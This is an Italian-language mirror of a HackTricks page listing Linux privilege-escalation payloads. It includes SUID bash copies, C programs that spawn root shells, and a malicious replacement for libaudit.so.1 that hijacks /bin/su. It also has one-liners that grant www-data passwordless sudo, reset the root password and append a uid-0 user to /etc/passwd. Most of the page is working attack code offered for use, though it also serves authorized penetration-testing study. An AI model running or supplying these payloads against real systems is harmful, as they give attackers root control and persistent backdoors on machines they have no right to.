mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
145 lines
5.6 KiB
Markdown
145 lines
5.6 KiB
Markdown
# Payloads to execute
|
|
|
|
{% hint style="success" %}
|
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Supporta HackTricks</summary>
|
|
|
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Bash
|
|
```bash
|
|
cp /bin/bash /tmp/b && chmod +s /tmp/b
|
|
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
|
|
```
|
|
## C
|
|
```c
|
|
//gcc payload.c -o payload
|
|
int main(void){
|
|
setresuid(0, 0, 0); //Set as user suid user
|
|
system("/bin/sh");
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
```c
|
|
//gcc payload.c -o payload
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <sys/types.h>
|
|
|
|
int main(){
|
|
setuid(getuid());
|
|
system("/bin/bash");
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
```c
|
|
// Privesc to user id: 1000
|
|
#define _GNU_SOURCE
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
|
|
int main(void) {
|
|
char *const paramList[10] = {"/bin/bash", "-p", NULL};
|
|
const int id = 1000;
|
|
setresuid(id, id, id);
|
|
execve(paramList[0], paramList, NULL);
|
|
return 0;
|
|
}
|
|
```
|
|
## Sovrascrivere un file per elevare i privilegi
|
|
|
|
### File comuni
|
|
|
|
* Aggiungi utente con password a _/etc/passwd_
|
|
* Cambia password all'interno di _/etc/shadow_
|
|
* Aggiungi utente ai sudoers in _/etc/sudoers_
|
|
* Abusa di docker attraverso il socket docker, solitamente in _/run/docker.sock_ o _/var/run/docker.sock_
|
|
|
|
### Sovrascrivere una libreria
|
|
|
|
Controlla una libreria utilizzata da un binario, in questo caso `/bin/su`:
|
|
```bash
|
|
ldd /bin/su
|
|
linux-vdso.so.1 (0x00007ffef06e9000)
|
|
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
|
|
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
|
|
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
|
|
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
|
|
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
|
|
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
|
|
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
|
|
```
|
|
In questo caso proviamo a impersonare `/lib/x86_64-linux-gnu/libaudit.so.1`.\
|
|
Quindi, controlla le funzioni di questa libreria utilizzate dal **`su`** binario:
|
|
```bash
|
|
objdump -T /bin/su | grep audit
|
|
0000000000000000 DF *UND* 0000000000000000 audit_open
|
|
0000000000000000 DF *UND* 0000000000000000 audit_log_user_message
|
|
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
|
|
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
|
|
```
|
|
I simboli `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` e `audit_fd` provengono probabilmente dalla libreria libaudit.so.1. Poiché la libaudit.so.1 sarà sovrascritta dalla libreria condivisa malevola, questi simboli dovrebbero essere presenti nella nuova libreria condivisa, altrimenti il programma non sarà in grado di trovare il simbolo e terminerà.
|
|
```c
|
|
#include<stdio.h>
|
|
#include<stdlib.h>
|
|
#include<unistd.h>
|
|
|
|
//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c
|
|
|
|
int audit_open;
|
|
int audit_log_acct_message;
|
|
int audit_log_user_message;
|
|
int audit_fd;
|
|
|
|
void inject()__attribute__((constructor));
|
|
|
|
void inject()
|
|
{
|
|
setuid(0);
|
|
setgid(0);
|
|
system("/bin/bash");
|
|
}
|
|
```
|
|
Ora, semplicemente chiamando **`/bin/su`** otterrai una shell come root.
|
|
|
|
## Script
|
|
|
|
Puoi far eseguire qualcosa a root?
|
|
|
|
### **www-data in sudoers**
|
|
```bash
|
|
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
|
|
```
|
|
### **Cambia la password di root**
|
|
```bash
|
|
echo "root:hacked" | chpasswd
|
|
```
|
|
### Aggiungi un nuovo utente root a /etc/passwd
|
|
```bash
|
|
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
|
|
```
|
|
{% hint style="success" %}
|
|
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Supporta HackTricks</summary>
|
|
|
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository github.
|
|
|
|
</details>
|
|
{% endhint %}
|